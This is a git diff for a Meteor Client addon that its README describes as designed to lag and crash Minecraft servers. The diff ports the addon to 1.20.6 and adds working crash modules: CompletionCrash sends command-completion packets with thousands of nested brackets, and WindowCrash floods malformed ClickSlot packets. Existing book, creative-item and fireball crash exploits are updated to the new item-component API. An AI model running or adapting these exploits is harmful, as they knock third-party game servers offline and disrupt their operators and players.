diff --git a/.github/workflows/gradle.yml b/.github/workflows/gradle.yml index 2e39fda..3405d47 100644 --- a/.github/workflows/gradle.yml +++ b/.github/workflows/gradle.yml @@ -18,10 +18,10 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - - name: Set up JDK 17 + - name: Set up JDK 21 uses: actions/setup-java@v2 with: - java-version: 17 + java-version: 21 distribution: 'zulu' - name: Grant execute permission for gradlew run: chmod +x gradlew @@ -32,8 +32,8 @@ jobs: - uses: "marvinpinto/action-automatic-releases@latest" with: repo_token: "${{ secrets.GITHUB_TOKEN }}" - automatic_release_tag: "latest-1.20.2" + automatic_release_tag: "latest-1.20.6" prerelease: false - title: "1.20.2 Build" + title: "1.20.6 Build" files: | ./build/libs/*.jar diff --git a/README.md b/README.md index b8a8861..1d3c85a 100644 --- a/README.md +++ b/README.md @@ -7,8 +7,8 @@ An addon to Meteor Client that adds various modules designed to lag and crash se </p> <div align="center"> <a href="https://anticope.github.io/meteor-lists/pages/MeteorAddons.html"><img src="https://img.shields.io/badge/Verified%20Addon-Yes-blueviolet" alt="Verified Addon"><a/> - <img src="https://img.shields.io/badge/Version-v0.2-orange" alt="Version"> - <img src="https://img.shields.io/badge/Minecraft%20Version-1.18.2-blue" alt="Minecraft Version"> + <img src="https://img.shields.io/badge/Version-v0.6-orange" alt="Version"> + <img src="https://img.shields.io/badge/Minecraft%20Version-1.20.6-blue" alt="Minecraft Version"> <img src="https://img.shields.io/github/last-commit/AntiCope/meteor-crash-addon?logo=git" alt="Last commit"> <img src="https://img.shields.io/github/workflow/status/AntiCope/meteor-crash-addon/Java%20CI%20with%20Gradle?logo=github" alt="build status"> <img src="https://img.shields.io/github/languages/code-size/AntiCope/meteor-crash-addon" alt="Code Size"> diff --git a/build.gradle b/build.gradle index 98231f0..5fe47e7 100644 --- a/build.gradle +++ b/build.gradle @@ -1,9 +1,9 @@ plugins { - id 'fabric-loom' version '1.4-SNAPSHOT' + id 'fabric-loom' version '1.6-SNAPSHOT' id 'maven-publish' } -sourceCompatibility = targetCompatibility = JavaVersion.VERSION_17 +sourceCompatibility = targetCompatibility = JavaVersion.VERSION_21 archivesBaseName = project.archives_base_name version = project.mod_version group = project.maven_group @@ -37,5 +37,5 @@ processResources { tasks.withType(JavaCompile).configureEach { it.options.encoding = "UTF-8" - it.options.release = 17 + it.options.release = 21 } diff --git a/gradle.properties b/gradle.properties index 555b0cc..07a7998 100644 --- a/gradle.properties +++ b/gradle.properties @@ -1,13 +1,13 @@ org.gradle.jvmargs=-Xmx2G # Fabric Properties (https://fabricmc.net/develop/) -minecraft_version=1.20.2 -yarn_mappings=1.20.2+build.4 -loader_version=0.14.23 +minecraft_version=1.20.6 +yarn_mappings=1.20.6+build.1 +loader_version=0.15.11 # Mod Properties mod_version=0.6 maven_group=Wide-Cat archives_base_name=meteor-crash-addon -meteor_version=0.5.5 +meteor_version=0.5.7 diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties index db9a6b8..48c0a02 100644 --- a/gradle/wrapper/gradle-wrapper.properties +++ b/gradle/wrapper/gradle-wrapper.properties @@ -1,5 +1,5 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-8.3-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists diff --git a/src/main/java/widecat/meteorcrashaddon/CrashAddon.java b/src/main/java/widecat/meteorcrashaddon/CrashAddon.java index bd2e7b2..9a6bde1 100644 --- a/src/main/java/widecat/meteorcrashaddon/CrashAddon.java +++ b/src/main/java/widecat/meteorcrashaddon/CrashAddon.java @@ -23,6 +23,7 @@ public void onInitialize() { Modules.get().add(new AACCrash()); Modules.get().add(new BookCrash()); Modules.get().add(new ContainerCrash()); + Modules.get().add(new CompletionCrash()); Modules.get().add(new CraftingCrash()); Modules.get().add(new CreativeCrash()); Modules.get().add(new EntityCrash()); @@ -33,6 +34,7 @@ public void onInitialize() { Modules.get().add(new MovementCrash()); Modules.get().add(new PacketSpammer()); Modules.get().add(new SequenceCrash()); + Modules.get().add(new WindowCrash()); Commands.add(new CrashItemCommand()); } diff --git a/src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java b/src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java index b97c5fa..34631bc 100644 --- a/src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java +++ b/src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java @@ -3,6 +3,8 @@ import com.mojang.brigadier.builder.LiteralArgumentBuilder; import meteordevelopment.meteorclient.commands.Command; import net.minecraft.command.CommandSource; +import net.minecraft.component.DataComponentTypes; +import net.minecraft.component.type.NbtComponent; import net.minecraft.item.ItemStack; import net.minecraft.item.Items; import net.minecraft.nbt.NbtCompound; @@ -30,7 +32,7 @@ public void build(LiteralArgumentBuilder<CommandSource> builder) { power.add(NbtDouble.of(0)); tag1.putString("id", "minecraft:small_fireball"); tag1.put("power", power); - CrashFireball.setSubNbt("EntityTag", tag1); + CrashFireball.set(DataComponentTypes.ENTITY_DATA, NbtComponent.of(tag1)); CreativeInventoryActionC2SPacket balls = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, CrashFireball); mc.getNetworkHandler().sendPacket(balls); return SINGLE_SUCCESS; @@ -40,11 +42,13 @@ public void build(LiteralArgumentBuilder<CommandSource> builder) { ItemStack gato = new ItemStack(Items.CAT_SPAWN_EGG); NbtCompound tag2 = new NbtCompound(); NbtList pos = new NbtList(); + pos.add(NbtDouble.of(2147483647)); pos.add(NbtDouble.of(2147483647)); pos.add(NbtDouble.of(2147483647)); + tag2.putString("id", "minecraft:small_fireball"); tag2.put("Pos", pos); - gato.setSubNbt("EntityTag", tag2); + gato.set(DataComponentTypes.ENTITY_DATA, NbtComponent.of(tag2)); CreativeInventoryActionC2SPacket elgato = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, gato); mc.getNetworkHandler().sendPacket(elgato); return SINGLE_SUCCESS; diff --git a/src/main/java/widecat/meteorcrashaddon/modules/BookCrash.java b/src/main/java/widecat/meteorcrashaddon/modules/BookCrash.java index 7320fc0..2de0227 100644 --- a/src/main/java/widecat/meteorcrashaddon/modules/BookCrash.java +++ b/src/main/java/widecat/meteorcrashaddon/modules/BookCrash.java @@ -6,17 +6,19 @@ import meteordevelopment.meteorclient.systems.modules.Module; import meteordevelopment.meteorclient.utils.Utils; import meteordevelopment.orbit.EventHandler; +import net.minecraft.component.DataComponentTypes; +import net.minecraft.component.type.WrittenBookContentComponent; import net.minecraft.item.ItemStack; import net.minecraft.item.Items; -import net.minecraft.nbt.NbtCompound; -import net.minecraft.nbt.NbtList; -import net.minecraft.nbt.NbtString; import net.minecraft.network.packet.c2s.play.BookUpdateC2SPacket; import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; +import net.minecraft.text.RawFilteredPair; +import net.minecraft.text.Text; import org.apache.commons.lang3.RandomStringUtils; import widecat.meteorcrashaddon.CrashAddon; import java.util.ArrayList; +import java.util.List; import java.util.Optional; public class BookCrash extends Module { @@ -78,15 +80,14 @@ private void sendBadBook() { } slot++; ItemStack book = new ItemStack(Items.WRITTEN_BOOK, 1); - NbtCompound tag = new NbtCompound(); - NbtList list = new NbtList(); + List<RawFilteredPair<Text>> list = new ArrayList<>(); for (int j = 0; j < 99; j++) { - list.add(NbtString.of("{\"text\":" + RandomStringUtils.randomAlphabetic(200) + "\"}")); + list.add(RawFilteredPair.of(Text.of(RandomStringUtils.randomAlphabetic(200)))); } - tag.put("author", NbtString.of(RandomStringUtils.randomAlphabetic(9000))); - tag.put("title", NbtString.of(RandomStringUtils.randomAlphabetic(25564))); - tag.put("pages", list); - book.setNbt(tag); + WrittenBookContentComponent component = book.get(DataComponentTypes.WRITTEN_BOOK_CONTENT); + WrittenBookContentComponent newComponent = new WrittenBookContentComponent(RawFilteredPair.of(RandomStringUtils.randomAlphabetic(9000)), RandomStringUtils.randomAlphabetic(25564), component.generation(), list, component.resolved()); + book.set(DataComponentTypes.WRITTEN_BOOK_CONTENT, newComponent); + mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(slot, book)); } } diff --git a/src/main/java/widecat/meteorcrashaddon/modules/CompletionCrash.java b/src/main/java/widecat/meteorcrashaddon/modules/CompletionCrash.java new file mode 100644 index 0000000..c70bb65 --- /dev/null +++ b/src/main/java/widecat/meteorcrashaddon/modules/CompletionCrash.java @@ -0,0 +1,52 @@ +package widecat.meteorcrashaddon.modules; + +import meteordevelopment.meteorclient.events.world.TickEvent; +import meteordevelopment.meteorclient.settings.IntSetting; +import meteordevelopment.meteorclient.settings.Setting; +import meteordevelopment.meteorclient.settings.SettingGroup; +import meteordevelopment.meteorclient.systems.modules.Module; +import meteordevelopment.orbit.EventHandler; +import net.minecraft.client.MinecraftClient; +import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket; +import widecat.meteorcrashaddon.CrashAddon; + +import java.util.stream.Collectors; +import java.util.stream.IntStream; + +public class CompletionCrash extends Module { + private final SettingGroup sgGeneral = settings.createGroup("Rate"); + + public CompletionCrash() { + super(CrashAddon.CATEGORY, "CompletionCrash", "Funny Completion"); + } + + private int length = 2032; + + private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder() + .name("Packets per tick") + .description("Amount of packets sent each tick") + .defaultValue(3) + .min(2) + .sliderMax(12) + .build() + ); + + @EventHandler + private void onTick(TickEvent.Post event) { + + String overflow = generateJsonObject(length); + String message = "msg @a[nbt={PAYLOAD}]"; + String partialCommand = message.replace("{PAYLOAD}", overflow); + for (int i = 0; i < packets.get(); i++) { + MinecraftClient.getInstance().player.networkHandler.sendPacket(new RequestCommandCompletionsC2SPacket(0, partialCommand)); + } + this.toggle(); + } + + private String generateJsonObject(int levels) { + String in = IntStream.range(0, levels) + .mapToObj(i -> "[") + .collect(Collectors.joining()); + return "{a:" + in + "}"; + } +} diff --git a/src/main/java/widecat/meteorcrashaddon/modules/CreativeCrash.java b/src/main/java/widecat/meteorcrashaddon/modules/CreativeCrash.java index fe55f0a..2303e8e 100644 --- a/src/main/java/widecat/meteorcrashaddon/modules/CreativeCrash.java +++ b/src/main/java/widecat/meteorcrashaddon/modules/CreativeCrash.java @@ -8,6 +8,8 @@ import meteordevelopment.meteorclient.settings.SettingGroup; import meteordevelopment.meteorclient.systems.modules.Module; import meteordevelopment.orbit.EventHandler; +import net.minecraft.component.DataComponentTypes; +import net.minecraft.component.type.NbtComponent; import net.minecraft.item.ItemStack; import net.minecraft.item.Items; import net.minecraft.nbt.NbtCompound; @@ -54,8 +56,10 @@ private void onTick(TickEvent.Post event) { list.add(NbtDouble.of(pos.x)); list.add(NbtDouble.of(pos.y)); list.add(NbtDouble.of(pos.z)); + //idk + tag.putString("id", "minecraft:small_fireball"); tag.put("Pos", list); - the.setSubNbt("BlockEntityTag", tag); + the.set(DataComponentTypes.BLOCK_ENTITY_DATA, NbtComponent.of(tag)); for (int i = 0; i < amount.get(); i++) { mc.getNetworkHandler().sendPacket(new CreativeInventoryActionC2SPacket(1, the)); } diff --git a/src/main/java/widecat/meteorcrashaddon/modules/WindowCrash.java b/src/main/java/widecat/meteorcrashaddon/modules/WindowCrash.java new file mode 100644 index 0000000..85658be --- /dev/null +++ b/src/main/java/widecat/meteorcrashaddon/modules/WindowCrash.java @@ -0,0 +1,57 @@ +package widecat.meteorcrashaddon.modules; + +import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap; +import meteordevelopment.meteorclient.events.game.GameLeftEvent; +import meteordevelopment.meteorclient.events.world.TickEvent; +import meteordevelopment.meteorclient.settings.*; +import meteordevelopment.meteorclient.systems.modules.Module; +import meteordevelopment.orbit.EventHandler; +import net.minecraft.client.MinecraftClient; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; +import net.minecraft.screen.ScreenHandler; +import net.minecraft.screen.slot.SlotActionType; +import widecat.meteorcrashaddon.CrashAddon; + +public class WindowCrash extends Module { + private final SettingGroup sgGeneral = settings.createGroup("Crash"); + + private final Setting<Integer> crashPower = sgGeneral.add(new IntSetting.Builder() + .name("Packets per tick") + .description("Amount of packets sent each tick") + .defaultValue(6) + .min(2) + .sliderMax(12) + .build() + ); + + private final Setting<Boolean> disableOnLeave = sgGeneral.add(new BoolSetting.Builder() + .name("Disable on Leave") + .description("Automatically disables when you change leave.") + .defaultValue(true) + .build() + ); + + public WindowCrash() { + super(CrashAddon.CATEGORY, "Window Crasher", "Sends silly packets, paper 1.20.1"); + } + + @EventHandler + private void onTick(TickEvent.Post event) { + ScreenHandler handler = MinecraftClient.getInstance().player.currentScreenHandler; + Int2ObjectArrayMap itemMap = new Int2ObjectArrayMap(); + itemMap.put(0, new ItemStack(Items.ACACIA_BOAT, 1)); + for (int i = 0; i < crashPower.get() + 1; i++) { + MinecraftClient.getInstance().player.networkHandler.sendPacket(new ClickSlotC2SPacket(handler.syncId, handler.getRevision(), 36, -1, SlotActionType.SWAP, handler.getCursorStack().copy(), itemMap)); + } + } + + @EventHandler + private void onWorldChange(GameLeftEvent event) { + if (disableOnLeave.get() && this.isActive()) { + this.toggle(); + } + } + +}